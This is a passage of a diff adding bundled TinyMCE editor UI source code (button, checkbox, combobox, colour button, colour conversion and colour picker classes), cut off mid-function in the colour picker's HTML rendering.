+		 * @return {String|tinymce.ui.MenuButton} Current icon or current MenuButton instance.
+		 */
+		icon: function(icon) {
+			var self = this, prefix = self.classPrefix;
+
+			if (typeof(icon) == 'undefined') {
+				return self.settings.icon;
+			}
+
+			self.settings.icon = icon;
+			icon = icon ? prefix + 'ico ' + prefix + 'i-' + self.settings.icon : '';
+
+			if (self._rendered) {
+				var btnElm = self.getEl().firstChild, iconElm = btnElm.getElementsByTagName('i')[0];
+
+				if (icon) {
+					if (!iconElm || iconElm != btnElm.firstChild) {
+						iconElm = document.createElement('i');
+						btnElm.insertBefore(iconElm, btnElm.firstChild);
+					}
+
+					iconElm.className = icon;
+				} else if (iconElm) {
+					btnElm.removeChild(iconElm);
+				}
+
+				self.text(self._text); // Set text again to fix whitespace between icon + text
+			}
+
+			return self;
+		},
+
+		/**
+		 * Repaints the button for example after it's been resizes by a layout engine.
+		 *
+		 * @method repaint
+		 */
+		repaint: function() {
+			var btnStyle = this.getEl().firstChild.style;
+
+			btnStyle.width = btnStyle.height = "100%";
+
+			this._super();
+		},
+
+		/**
+		 * Sets/gets the current button text.
+		 *
+		 * @method text
+		 * @param {String} [text] New button text.
+		 * @return {String|tinymce.ui.Button} Current text or current Button instance.
+		 */
+		text: function(text) {
+			var self = this;
+
+			if (self._rendered) {
+				var textNode = self.getEl().lastChild.lastChild;
+				if (textNode) {
+					textNode.data = self.translate(text);
+				}
+			}
+
+			return self._super(text);
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, id = self._id, prefix = self.classPrefix;
+			var icon = self.settings.icon, image;
+
+			image = self.settings.image;
+			if (image) {
+				icon = 'none';
+
+				// Support for [high dpi, low dpi] image sources
+				if (typeof image != "string") {
+					image = window.getSelection ? image[0] : image[1];
+				}
+
+				image = ' style="background-image: url(\'' + image + '\')"';
+			} else {
+				image = '';
+			}
+
+			icon = self.settings.icon ? prefix + 'ico ' + prefix + 'i-' + icon : '';
+
+			return (
+				'<div id="' + id + '" class="' + self.classes() + '" tabindex="-1" aria-labelledby="' + id + '">' +
+					'<button role="presentation" type="button" tabindex="-1">' +
+						(icon ? '<i class="' + icon + '"' + image + '></i>' : '') +
+						(self._text ? (icon ? '\u00a0' : '') + self.encode(self._text) : '') +
+					'</button>' +
+				'</div>'
+			);
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/ButtonGroup.js
+
+/**
+ * ButtonGroup.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This control enables you to put multiple buttons into a group. This is
+ * useful when you want to combine similar toolbar buttons into a group.
+ *
+ * @example
+ * // Create and render a buttongroup with two buttons to the body element
+ * tinymce.ui.Factory.create({
+ *     type: 'buttongroup',
+ *     items: [
+ *         {text: 'Button A'},
+ *         {text: 'Button B'}
+ *     ]
+ * }).renderTo(document.body);
+ *
+ * @-x-less ButtonGroup.less
+ * @class tinymce.ui.ButtonGroup
+ * @extends tinymce.ui.Container
+ */
+define("tinymce/ui/ButtonGroup", [
+	"tinymce/ui/Container"
+], function(Container) {
+	"use strict";
+
+	return Container.extend({
+		Defaults: {
+			defaultType: 'button',
+			role: 'group'
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, layout = self._layout;
+
+			self.addClass('btn-group');
+			self.preRender();
+			layout.preRender(self);
+
+			return (
+				'<div id="' + self._id + '" class="' + self.classes() + '">' +
+					'<div id="' + self._id + '-body">' +
+						(self.settings.html || '') + layout.renderHtml(self) +
+					'</div>' +
+				'</div>'
+			);
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/Checkbox.js
+
+/**
+ * Checkbox.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This control creates a custom checkbox.
+ *
+ * @example
+ * // Create and render a checkbox to the body element
+ * tinymce.ui.Factory.create({
+ *     type: 'checkbox',
+ *     checked: true,
+ *     text: 'My checkbox'
+ * }).renderTo(document.body);
+ *
+ * @-x-less Checkbox.less
+ * @class tinymce.ui.Checkbox
+ * @extends tinymce.ui.Widget
+ */
+define("tinymce/ui/Checkbox", [
+	"tinymce/ui/Widget"
+], function(Widget) {
+	"use strict";
+
+	return Widget.extend({
+		Defaults: {
+			classes: "checkbox",
+			role: "checkbox",
+			checked: false
+		},
+
+		/**
+		 * Constructs a new Checkbox instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 * @setting {Boolean} checked True if the checkbox should be checked by default.
+		 */
+		init: function(settings) {
+			var self = this;
+
+			self._super(settings);
+
+			self.on('click mousedown', function(e) {
+				e.preventDefault();
+			});
+
+			self.on('click', function(e) {
+				e.preventDefault();
+
+				if (!self.disabled()) {
+					self.checked(!self.checked());
+				}
+			});
+
+			self.checked(self.settings.checked);
+		},
+
+		/**
+		 * Getter/setter function for the checked state.
+		 *
+		 * @method checked
+		 * @param {Boolean} [state] State to be set.
+		 * @return {Boolean|tinymce.ui.Checkbox} True/false or checkbox if it's a set operation.
+		 */
+		checked: function(state) {
+			var self = this;
+
+			if (typeof state != "undefined") {
+				if (state) {
+					self.addClass('checked');
+				} else {
+					self.removeClass('checked');
+				}
+
+				self._checked = state;
+				self.aria('checked', state);
+
+				return self;
+			}
+
+			return self._checked;
+		},
+
+		/**
+		 * Getter/setter function for the value state.
+		 *
+		 * @method value
+		 * @param {Boolean} [state] State to be set.
+		 * @return {Boolean|tinymce.ui.Checkbox} True/false or checkbox if it's a set operation.
+		 */
+		value: function(state) {
+			return this.checked(state);
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, id = self._id, prefix = self.classPrefix;
+
+			return (
+				'<div id="' + id + '" class="' + self.classes() + '" unselectable="on" aria-labelledby="' + id + '-al" tabindex="-1">' +
+					'<i class="' + prefix + 'ico ' + prefix + 'i-checkbox"></i>' +
+					'<span id="' + id + '-al" class="' + prefix + 'label">' + self.encode(self._text) + '</span>' +
+				'</div>'
+			);
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/ComboBox.js
+
+/**
+ * ComboBox.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class creates a combobox control. Select box that you select a value from or
+ * type a value into.
+ *
+ * @-x-less ComboBox.less
+ * @class tinymce.ui.ComboBox
+ * @extends tinymce.ui.Widget
+ */
+define("tinymce/ui/ComboBox", [
+	"tinymce/ui/Widget",
+	"tinymce/ui/Factory",
+	"tinymce/ui/DomUtils"
+], function(Widget, Factory, DomUtils) {
+	"use strict";
+
+	return Widget.extend({
+		/**
+		 * Constructs a new control instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 * @setting {String} placeholder Placeholder text to display.
+		 */
+		init: function(settings) {
+			var self = this;
+
+			self._super(settings);
+			self.addClass('combobox');
+			self.subinput = true;
+			self.ariaTarget = 'inp'; // TODO: Figure out a better way
+
+			settings = self.settings;
+			settings.menu = settings.menu || settings.values;
+
+			if (settings.menu) {
+				settings.icon = 'caret';
+			}
+
+			self.on('click', function(e) {
+				var elm = e.target, root = self.getEl();
+
+				while (elm && elm != root) {
+					if (elm.id && elm.id.indexOf('-open') != -1) {
+						self.fire('action');
+
+						if (settings.menu) {
+							self.showMenu();
+
+							if (e.aria) {
+								self.menu.items()[0].focus();
+							}
+						}
+					}
+
+					elm = elm.parentNode;
+				}
+			});
+
+			// TODO: Rework this
+			self.on('keydown', function(e) {
+				if (e.target.nodeName == "INPUT" && e.keyCode == 13) {
+					self.parents().reverse().each(function(ctrl) {
+						e.preventDefault();
+						self.fire('change');
+
+						if (ctrl.hasEventListeners('submit') && ctrl.toJSON) {
+							ctrl.fire('submit', {data: ctrl.toJSON()});
+							return false;
+						}
+					});
+				}
+			});
+
+			if (settings.placeholder) {
+				self.addClass('placeholder');
+
+				self.on('focusin', function() {
+					if (!self._hasOnChange) {
+						DomUtils.on(self.getEl('inp'), 'change', function() {
+							self.fire('change');
+						});
+
+						self._hasOnChange = true;
+					}
+
+					if (self.hasClass('placeholder')) {
+						self.getEl('inp').value = '';
+						self.removeClass('placeholder');
+					}
+				});
+
+				self.on('focusout', function() {
+					if (self.value().length === 0) {
+						self.getEl('inp').value = settings.placeholder;
+						self.addClass('placeholder');
+					}
+				});
+			}
+		},
+
+		showMenu: function() {
+			var self = this, settings = self.settings, menu;
+
+			if (!self.menu) {
+				menu = settings.menu || [];
+
+				// Is menu array then auto constuct menu control
+				if (menu.length) {
+					menu = {
+						type: 'menu',
+						items: menu
+					};
+				} else {
+					menu.type = menu.type || 'menu';
+				}
+
+				self.menu = Factory.create(menu).parent(self).renderTo(self.getContainerElm());
+				self.fire('createmenu');
+				self.menu.reflow();
+				self.menu.on('cancel', function(e) {
+					if (e.control === self.menu) {
+						self.focus();
+					}
+				});
+
+				self.menu.on('show hide', function(e) {
+					e.control.items().each(function(ctrl) {
+						ctrl.active(ctrl.value() == self.value());
+					});
+				}).fire('show');
+
+				self.menu.on('select', function(e) {
+					self.value(e.control.value());
+				});
+
+				self.on('focusin', function(e) {
+					if (e.target.tagName.toUpperCase() == 'INPUT') {
+						self.menu.hide();
+					}
+				});
+
+				self.aria('expanded', true);
+			}
+
+			self.menu.show();
+			self.menu.layoutRect({w: self.layoutRect().w});
+			self.menu.moveRel(self.getEl(), self.isRtl() ? ['br-tr', 'tr-br'] : ['bl-tl', 'tl-bl']);
+		},
+
+		/**
+		 * Getter/setter function for the control value.
+		 *
+		 * @method value
+		 * @param {String} [value] Value to be set.
+		 * @return {String|tinymce.ui.ComboBox} Value or self if it's a set operation.
+		 */
+		value: function(value) {
+			var self = this;
+
+			if (typeof(value) != "undefined") {
+				self._value = value;
+				self.removeClass('placeholder');
+
+				if (self._rendered) {
+					self.getEl('inp').value = value;
+				}
+
+				return self;
+			}
+
+			if (self._rendered) {
+				value = self.getEl('inp').value;
+
+				if (value != self.settings.placeholder) {
+					return value;
+				}
+
+				return '';
+			}
+
+			return self._value;
+		},
+
+		/**
+		 * Getter/setter function for the disabled state.
+		 *
+		 * @method value
+		 * @param {Boolean} [state] State to be set.
+		 * @return {Boolean|tinymce.ui.ComboBox} True/false or self if it's a set operation.
+		 */
+		disabled: function(state) {
+			var self = this;
+
+			if (self._rendered && typeof(state) != 'undefined') {
+				self.getEl('inp').disabled = state;
+			}
+
+			return self._super(state);
+		},
+
+		/**
+		 * Focuses the input area of the control.
+		 *
+		 * @method focus
+		 */
+		focus: function() {
+			this.getEl('inp').focus();
+		},
+
+		/**
+		 * Repaints the control after a layout operation.
+		 *
+		 * @method repaint
+		 */
+		repaint: function() {
+			var self = this, elm = self.getEl(), openElm = self.getEl('open'), rect = self.layoutRect();
+			var width, lineHeight;
+
+			if (openElm) {
+				width = rect.w - DomUtils.getSize(openElm).width - 10;
+			} else {
+				width = rect.w - 10;
+			}
+
+			// Detect old IE 7+8 add lineHeight to align caret vertically in the middle
+			var doc = document;
+			if (doc.all && (!doc.documentMode || doc.documentMode <= 8)) {
+				lineHeight = (self.layoutRect().h - 2) + 'px';
+			}
+
+			DomUtils.css(elm.firstChild, {
+				width: width,
+				lineHeight: lineHeight
+			});
+
+			self._super();
+
+			return self;
+		},
+
+		/**
+		 * Post render method. Called after the control has been rendered to the target.
+		 *
+		 * @method postRender
+		 * @return {tinymce.ui.ComboBox} Current combobox instance.
+		 */
+		postRender: function() {
+			var self = this;
+
+			DomUtils.on(this.getEl('inp'), 'change', function() {
+				self.fire('change');
+			});
+
+			return self._super();
+		},
+
+		remove: function() {
+			DomUtils.off(this.getEl('inp'));
+			this._super();
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, id = self._id, settings = self.settings, prefix = self.classPrefix;
+			var value = settings.value || settings.placeholder || '';
+			var icon, text, openBtnHtml = '', extraAttrs = '';
+
+			if ("spellcheck" in settings) {
+				extraAttrs += ' spellcheck="' + settings.spellcheck + '"';
+			}
+
+			if (settings.maxLength) {
+				extraAttrs += ' maxlength="' + settings.maxLength + '"';
+			}
+
+			if (settings.size) {
+				extraAttrs += ' size="' + settings.size + '"';
+			}
+
+			if (settings.subtype) {
+				extraAttrs += ' type="' + settings.subtype + '"';
+			}
+
+			if (self.disabled()) {
+				extraAttrs += ' disabled="disabled"';
+			}
+
+			icon = settings.icon;
+			if (icon && icon != 'caret') {
+				icon = prefix + 'ico ' + prefix + 'i-' + settings.icon;
+			}
+
+			text = self._text;
+
+			if (icon || text) {
+				openBtnHtml = (
+					'<div id="' + id + '-open" class="' + prefix + 'btn ' + prefix + 'open" tabIndex="-1" role="button">' +
+						'<button id="' + id + '-action" type="button" hidefocus="1" tabindex="-1">' +
+							(icon != 'caret' ? '<i class="' + icon + '"></i>' : '<i class="' + prefix + 'caret"></i>') +
+							(text ? (icon ? ' ' : '') + text : '') +
+						'</button>' +
+					'</div>'
+				);
+
+				self.addClass('has-open');
+			}
+
+			return (
+				'<div id="' + id + '" class="' + self.classes() + '">' +
+					'<input id="' + id + '-inp" class="' + prefix + 'textbox ' + prefix + 'placeholder" value="' +
+					value + '" hidefocus="1"' + extraAttrs + ' />' +
+					openBtnHtml +
+				'</div>'
+			);
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/ColorBox.js
+
+/**
+ * ColorBox.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This widget lets you enter colors and browse for colors by pressing the color button. It also displays
+ * a preview of the current color.
+ *
+ * @-x-less ColorBox.less
+ * @class tinymce.ui.ColorBox
+ * @extends tinymce.ui.ComboBox
+ */
+define("tinymce/ui/ColorBox", [
+	"tinymce/ui/ComboBox"
+], function(ComboBox) {
+	"use strict";
+
+	return ComboBox.extend({
+		/**
+		 * Constructs a new control instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 */
+		init: function(settings) {
+			var self = this;
+
+			settings.spellcheck = false;
+
+			if (settings.onaction) {
+				settings.icon = 'none';
+			}
+
+			self._super(settings);
+
+			self.addClass('colorbox');
+			self.on('change keyup postrender', function() {
+				self.repaintColor(self.value());
+			});
+		},
+
+		repaintColor: function(value) {
+			var elm = this.getEl().getElementsByTagName('i')[0];
+
+			if (elm) {
+				try {
+					elm.style.background = value;
+				} catch (ex) {
+					// Ignore
+				}
+			}
+		},
+
+		value: function(value) {
+			var self = this;
+
+			if (typeof value != "undefined") {
+				if (self._rendered) {
+					self.repaintColor(value);
+				}
+			}
+
+			return self._super(value);
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/PanelButton.js
+
+/**
+ * PanelButton.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a new panel button.
+ *
+ * @class tinymce.ui.PanelButton
+ * @extends tinymce.ui.Button
+ */
+define("tinymce/ui/PanelButton", [
+	"tinymce/ui/Button",
+	"tinymce/ui/FloatPanel"
+], function(Button, FloatPanel) {
+	"use strict";
+
+	return Button.extend({
+		/**
+		 * Shows the panel for the button.
+		 *
+		 * @method showPanel
+		 */
+		showPanel: function() {
+			var self = this, settings = self.settings;
+
+			self.active(true);
+
+			if (!self.panel) {
+				var panelSettings = settings.panel;
+
+				// Wrap panel in grid layout if type if specified
+				// This makes it possible to add forms or other containers directly in the panel option
+				if (panelSettings.type) {
+					panelSettings = {
+						layout: 'grid',
+						items: panelSettings
+					};
+				}
+
+				panelSettings.role = panelSettings.role || 'dialog';
+				panelSettings.popover = true;
+				panelSettings.autohide = true;
+				panelSettings.ariaRoot = true;
+
+				self.panel = new FloatPanel(panelSettings).on('hide', function() {
+					self.active(false);
+				}).on('cancel', function(e) {
+					e.stopPropagation();
+					self.focus();
+					self.hidePanel();
+				}).parent(self).renderTo(self.getContainerElm());
+
+				self.panel.fire('show');
+				self.panel.reflow();
+			} else {
+				self.panel.show();
+			}
+
+			self.panel.moveRel(self.getEl(), settings.popoverAlign || (self.isRtl() ? ['bc-tr', 'bc-tc'] : ['bc-tl', 'bc-tc']));
+		},
+
+		/**
+		 * Hides the panel for the button.
+		 *
+		 * @method hidePanel
+		 */
+		hidePanel: function() {
+			var self = this;
+
+			if (self.panel) {
+				self.panel.hide();
+			}
+		},
+
+		/**
+		 * Called after the control has been rendered.
+		 *
+		 * @method postRender
+		 */
+		postRender: function() {
+			var self = this;
+
+			self.aria('haspopup', true);
+
+			self.on('click', function(e) {
+				if (e.control === self) {
+					if (self.panel && self.panel.visible()) {
+						self.hidePanel();
+					} else {
+						self.showPanel();
+						self.panel.focus(!!e.aria);
+					}
+				}
+			});
+
+			return self._super();
+		},
+
+		remove: function() {
+			if (this.panel) {
+				this.panel.remove();
+				this.panel = null;
+			}
+
+			return this._super();
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/ColorButton.js
+
+/**
+ * ColorButton.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class creates a color button control. This is a split button in which the main
+ * button has a visual representation of the currently selected color. When clicked
+ * the caret button displays a color picker, allowing the user to select a new color.
+ *
+ * @-x-less ColorButton.less
+ * @class tinymce.ui.ColorButton
+ * @extends tinymce.ui.PanelButton
+ */
+define("tinymce/ui/ColorButton", [
+	"tinymce/ui/PanelButton",
+	"tinymce/dom/DOMUtils"
+], function(PanelButton, DomUtils) {
+	"use strict";
+
+	var DOM = DomUtils.DOM;
+
+	return PanelButton.extend({
+		/**
+		 * Constructs a new ColorButton instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 */
+		init: function(settings) {
+			this._super(settings);
+			this.addClass('colorbutton');
+		},
+
+		/**
+		 * Getter/setter for the current color.
+		 *
+		 * @method color
+		 * @param {String} [color] Color to set.
+		 * @return {String|tinymce.ui.ColorButton} Current color or current instance.
+		 */
+		color: function(color) {
+			if (color) {
+				this._color = color;
+				this.getEl('preview').style.backgroundColor = color;
+				return this;
+			}
+
+			return this._color;
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, id = self._id, prefix = self.classPrefix;
+			var icon = self.settings.icon ? prefix + 'ico ' + prefix + 'i-' + self.settings.icon : '';
+			var image = self.settings.image ? ' style="background-image: url(\'' + self.settings.image + '\')"' : '';
+
+			return (
+				'<div id="' + id + '" class="' + self.classes() + '" role="button" tabindex="-1" aria-haspopup="true">' +
+					'<button role="presentation" hidefocus="1" type="button" tabindex="-1">' +
+						(icon ? '<i class="' + icon + '"' + image + '></i>' : '') +
+						'<span id="' + id + '-preview" class="' + prefix + 'preview"></span>' +
+						(self._text ? (icon ? ' ' : '') + (self._text) : '') +
+					'</button>' +
+					'<button type="button" class="' + prefix + 'open" hidefocus="1" tabindex="-1">' +
+						' <i class="' + prefix + 'caret"></i>' +
+					'</button>' +
+				'</div>'
+			);
+		},
+
+		/**
+		 * Called after the control has been rendered.
+		 *
+		 * @method postRender
+		 */
+		postRender: function() {
+			var self = this, onClickHandler = self.settings.onclick;
+
+			self.on('click', function(e) {
+				if (e.aria && e.aria.key == 'down') {
+					return;
+				}
+
+				if (e.control == self && !DOM.getParent(e.target, '.' + self.classPrefix + 'open')) {
+					e.stopImmediatePropagation();
+					onClickHandler.call(self, e);
+				}
+			});
+
+			delete self.settings.onclick;
+
+			return self._super();
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/util/Color.js
+
+/**
+ * Color.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class lets you parse/serialize colors and convert rgb/hsb.
+ *
+ * @class tinymce.util.Color
+ * @example
+ * var white = new tinymce.util.Color({r: 255, g: 255, b: 255});
+ * var red = new tinymce.util.Color('#FF0000');
+ *
+ * console.log(white.toHex(), red.toHsv());
+ */
+define("tinymce/util/Color", [], function() {
+	var min = Math.min, max = Math.max, round = Math.round;
+
+	/**
+	 * Constructs a new color instance.
+	 *
+	 * @constructor
+	 * @method Color
+	 * @param {String} value Optional initial value to parse.
+	 */
+	function Color(value) {
+		var self = this, r = 0, g = 0, b = 0;
+
+		function rgb2hsv(r, g, b) {
+			var h, s, v, d, minRGB, maxRGB;
+
+			h = 0;
+			s = 0;
+			v = 0;
+			r = r / 255;
+			g = g / 255;
+			b = b / 255;
+
+			minRGB = min(r, min(g, b));
+			maxRGB = max(r, max(g, b));
+
+			if (minRGB == maxRGB) {
+				v = minRGB;
+
+				return {
+					h: 0,
+					s: 0,
+					v: v * 100
+				};
+			}
+
+			/*eslint no-nested-ternary:0 */
+			d = (r == minRGB) ? g - b : ((b == minRGB) ? r - g : b - r);
+			h = (r == minRGB) ? 3 : ((b == minRGB) ? 1 : 5);
+			h = 60 * (h - d / (maxRGB - minRGB));
+			s = (maxRGB - minRGB) / maxRGB;
+			v = maxRGB;
+
+			return {
+				h: round(h),
+				s: round(s * 100),
+				v: round(v * 100)
+			};
+		}
+
+		function hsvToRgb(hue, saturation, brightness) {
+			var side, chroma, x, match;
+
+			hue = (parseInt(hue, 10) || 0) % 360;
+			saturation = parseInt(saturation, 10) / 100;
+			brightness = parseInt(brightness, 10) / 100;
+			saturation = max(0, min(saturation, 1));
+			brightness = max(0, min(brightness, 1));
+
+			if (saturation === 0) {
+				r = g = b = round(255 * brightness);
+				return;
+			}
+
+			side = hue / 60;
+			chroma = brightness * saturation;
+			x = chroma * (1 - Math.abs(side % 2 - 1));
+			match = brightness - chroma;
+
+			switch (Math.floor(side)) {
+				case 0:
+					r = chroma;
+					g = x;
+					b = 0;
+					break;
+
+				case 1:
+					r = x;
+					g = chroma;
+					b = 0;
+					break;
+
+				case 2:
+					r = 0;
+					g = chroma;
+					b = x;
+					break;
+
+				case 3:
+					r = 0;
+					g = x;
+					b = chroma;
+					break;
+
+				case 4:
+					r = x;
+					g = 0;
+					b = chroma;
+					break;
+
+				case 5:
+					r = chroma;
+					g = 0;
+					b = x;
+					break;
+
+				default:
+					r = g = b = 0;
+			}
+
+			r = round(255 * (r + match));
+			g = round(255 * (g + match));
+			b = round(255 * (b + match));
+		}
+
+		/**
+		 * Returns the hex string of the current color. For example: #ff00ff
+		 *
+		 * @method toHex
+		 * @return {String} Hex string of current color.
+		 */
+		function toHex() {
+			function hex(val) {
+				val = parseInt(val, 10).toString(16);
+
+				return val.length > 1 ? val : '0' + val;
+			}
+
+			return '#' + hex(r) + hex(g) + hex(b);
+		}
+
+		/**
+		 * Returns the r, g, b values of the color. Each channel has a range from 0-255.
+		 *
+		 * @method toRgb
+		 * @return {Object} Object with r, g, b fields.
+		 */
+		function toRgb() {
+			return {
+				r: r,
+				g: g,
+				b: b
+			};
+		}
+
+		/**
+		 * Returns the h, s, v values of the color. Ranges: h=0-360, s=0-100, v=0-100.
+		 *
+		 * @method toHsv
+		 * @return {Object} Object with h, s, v fields.
+		 */
+		function toHsv() {
+			return rgb2hsv(r, g, b);
+		}
+
+		/**
+		 * Parses the specified value and populates the color instance.
+		 *
+		 * Supported format examples:
+		 *  * rbg(255,0,0)
+		 *  * #ff0000
+		 *  * #fff
+		 *  * {r: 255, g: 0, b: 0}
+		 *  * {h: 360, s: 100, v: 100}
+		 *
+		 * @method parse
+		 * @param {Object/String} value Color value to parse.
+		 * @return {tinymce.util.Color} Current color instance.
+		 */
+		function parse(value) {
+			var matches;
+
+			if (typeof value == 'object') {
+				if ("r" in value) {
+					r = value.r;
+					g = value.g;
+					b = value.b;
+				} else if ("v" in value) {
+					hsvToRgb(value.h, value.s, value.v);
+				}
+			} else {
+				if ((matches = /rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)[^\)]*\)/gi.exec(value))) {
+					r = parseInt(matches[1], 10);
+					g = parseInt(matches[2], 10);
+					b = parseInt(matches[3], 10);
+				} else if ((matches = /#([0-F]{2})([0-F]{2})([0-F]{2})/gi.exec(value))) {
+					r = parseInt(matches[1], 16);
+					g = parseInt(matches[2], 16);
+					b = parseInt(matches[3], 16);
+				} else if ((matches = /#([0-F])([0-F])([0-F])/gi.exec(value))) {
+					r = parseInt(matches[1] + matches[1], 16);
+					g = parseInt(matches[2] + matches[2], 16);
+					b = parseInt(matches[3] + matches[3], 16);
+				}
+			}
+
+			r = r < 0 ? 0 : (r > 255 ? 255 : r);
+			g = g < 0 ? 0 : (g > 255 ? 255 : g);
+			b = b < 0 ? 0 : (b > 255 ? 255 : b);
+
+			return self;
+		}
+
+		if (value) {
+			parse(value);
+		}
+
+		self.toRgb = toRgb;
+		self.toHsv = toHsv;
+		self.toHex = toHex;
+		self.parse = parse;
+	}
+
+	return Color;
+});
+
+// Included from: js/tinymce/classes/ui/ColorPicker.js
+
+/**
+ * ColorPicker.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Color picker widget lets you select colors.
+ *
+ * @-x-less ColorPicker.less
+ * @class tinymce.ui.ColorPicker
+ * @extends tinymce.ui.Widget
+ */
+define("tinymce/ui/ColorPicker", [
+	"tinymce/ui/Widget",
+	"tinymce/ui/DragHelper",
+	"tinymce/ui/DomUtils",
+	"tinymce/util/Color"
+], function(Widget, DragHelper, DomUtils, Color) {
+	"use strict";
+
+	return Widget.extend({
+		Defaults: {
+			classes: "widget colorpicker"
+		},
+
+		/**
+		 * Constructs a new colorpicker instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 * @setting {String} color Initial color value.
+		 */
+		init: function(settings) {
+			this._super(settings);
+		},
+
+		postRender: function() {
+			var self = this, color = self.color(), hsv, hueRootElm, huePointElm, svRootElm, svPointElm;
+
+			hueRootElm = self.getEl('h');
+			huePointElm = self.getEl('hp');
+			svRootElm = self.getEl('sv');
+			svPointElm = self.getEl('svp');
+
+			function getPos(elm, event) {
+				var pos = DomUtils.getPos(elm), x, y;
+
+				x = event.pageX - pos.x;
+				y = event.pageY - pos.y;
+
+				x = Math.max(0, Math.min(x / elm.clientWidth, 1));
+				y = Math.max(0, Math.min(y / elm.clientHeight, 1));
+
+				return {
+					x: x,
+					y: y
+				};
+			}
+
+			function updateColor(hsv, hueUpdate) {
+				var hue = (360 - hsv.h) / 360;
+
+				DomUtils.css(huePointElm, {
+					top: (hue * 100) + '%'
+				});
+
+				if (!hueUpdate) {
+					DomUtils.css(svPointElm, {
+						left: hsv.s + '%',
+						top: (100 - hsv.v) + '%'
+					});
+				}
+
+				svRootElm.style.background = new Color({s: 100, v: 100, h: hsv.h}).toHex();
+				self.color().parse({s: hsv.s, v: hsv.v, h: hsv.h});
+			}
+
+			function updateSaturationAndValue(e) {
+				var pos;
+
+				pos = getPos(svRootElm, e);
+				hsv.s = pos.x * 100;
+				hsv.v = (1 - pos.y) * 100;
+
+				updateColor(hsv);
+				self.fire('change');
+			}
+
+			function updateHue(e) {
+				var pos;
+
+				pos = getPos(hueRootElm, e);
+				hsv = color.toHsv();
+				hsv.h = (1 - pos.y) * 360;
+				updateColor(hsv, true);
+				self.fire('change');
+			}
+
+			self._repaint = function() {
+				hsv = color.toHsv();
+				updateColor(hsv);
+			};
+
+			self._super();
+
+			self._svdraghelper = new DragHelper(self._id + '-sv', {
+				start: updateSaturationAndValue,
+				drag: updateSaturationAndValue
+			});
+
+			self._hdraghelper = new DragHelper(self._id + '-h', {
+				start: updateHue,
+				drag: updateHue
+			});
+
+			self._repaint();
+		},
+
+		rgb: function() {
+			return this.color().toRgb();
+		},
+
+		value: function(value) {
+			var self = this;
+
+			if (arguments.length) {
+				self.color().parse(value);
+
+				if (self._rendered) {
+					self._repaint();
+				}
+			} else {
+				return self.color().toHex();
+			}
+		},
+
+		color: function() {
+			if (!this._color) {
+				this._color = new Color();
+			}
+
+			return this._color;
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, id = self._id, prefix = self.classPrefix, hueHtml;
+			var stops = '#ff0000,#ff0080,#ff00ff,#8000ff,#0000ff,#0080ff,#00ffff,#00ff80,#00ff00,#80ff00,#ffff00,#ff8000,#ff0000';
+
+			function getOldIeFallbackHtml() {
+				var i, l, html = '', gradientPrefix, stopsList;
+
+				gradientPrefix = 'filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr=';
+				stopsList = stops.split(',');
+				for (i = 0, l = stopsList.length - 1; i < l; i++) {
+					html += (
+						'<div class="' + prefix + 'colorpicker-h-chunk" style="' +
+							'height:' + (100 / l) + '%;' +
